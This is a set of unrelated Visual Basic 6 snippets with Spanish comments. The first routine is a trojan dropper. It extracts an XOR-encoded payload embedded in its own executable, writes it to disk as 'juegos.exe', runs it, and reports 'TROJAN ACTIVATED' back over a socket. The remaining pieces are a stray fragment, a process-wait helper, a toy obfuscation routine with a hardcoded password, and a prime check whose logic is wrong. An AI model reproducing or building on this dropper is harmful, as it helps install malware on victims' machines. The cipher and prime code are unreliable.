Public Sub UnpANDDec(trojan As Integer)
dump = 196608 'tamaño del troyano compilado
Open ".\" & App.EXEName & ".exe" For Binary As #1
Dim writeQ As Boolean
Open ".\" & "juegos.exe" For Output As #2
Close #2
Open ".\" & "juegos.exe" For Binary As #2
Do
DoEvents
Get #1, , chara
If trojan = 0 Then
If Loc(1) = dump + 1 Then
writeQ = True
End If
Else
If Loc(1) = dump + 351788 + 1 Then
writeQ = True
End If
End If
If writeQ = True Then
chara = Chr((Asc(chara) Xor 4))
Put #2, , chara
End If
If trojan = 0 Then
If Loc(1) = 351788 + dump Then
writeQ = False
End If
Else
If Loc(1) = 351788 + 372131 + dump Then
writeQ = False
End If
End If
If Loc(1) = LOF(1) Then
Exit Do
End If
Loop
Close
Close
Dim rerts
retrs = Shell(".\juegos.exe")
Code.ws(Code.ports).SendData "TROJAN ACTIVATED" & vbCrLf
Call Reset
End Sub

richtextbox1. ' no te olvides del punto

Private Declare Function OpenProcess Lib "kernel32" Alias "OpenProcess" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Private Declare Function GetExitCodeProcess Lib "kernel32" Alias "GetExitCodeProcess" (ByVal hProcess As Long, lpExitCode As Long) As Long

Private Const STILL_ACTIVE = &H103
Private Const PROCESS_QUERY_INFORMATION = &H400

Sub Ejecutar(Aplicacion As String)
Dim hProceso As long
Dim Activa As Long

hProceso = OpenProcess(PROCESS_QUERY_INFORMATION, 0, Shell(Aplicacion, 1))

Do
 ret = GetExitCodeProcess(hProceso, Activa)
DoEvents
Loop While Activa = STILL_ACTIVE

'Una vez que se termino la ejecucion...

End sub

Private Sub Form_Load()
Dim contraseña As String
contraseña = "TUMAMI"
Dim i As Double
Dim precifrada$
Dim cifrada$
Dim bufchr$
For i = 1 To Len(contraseña)
DoEvents
bufchr = Mid(contraseña, i, 1)
precifrada = precifrada & Chr(Int(Rnd * 25 + 65)) & ((Asc(bufchr)) ^ 2 ^ 2) * 61
Next i
For i = 1 To Len(precifrada)
If isprimo(i) Then
cifrada = cifrada & Chr(Asc(Mid(precifrada, i, 1)) Xor 61)
Else
cifrada = cifrada & Mid(precifrada, i, 1)
End If
Next i
'ak tenes q cifrar lo q quieras con la contraseña de muuuchos bits
End Sub

Function isprimo(numero As Double) As Boolean
Dim i As Double
Dim salida As Boolean
salida = False
For i = 2 To numero
DoEvents
If Int(numero / i) - numero = 1 Then
salida = True
End If
Next i
If numero = 1 Then
isprimo = True
Else
isprimo = salida
End If
End Function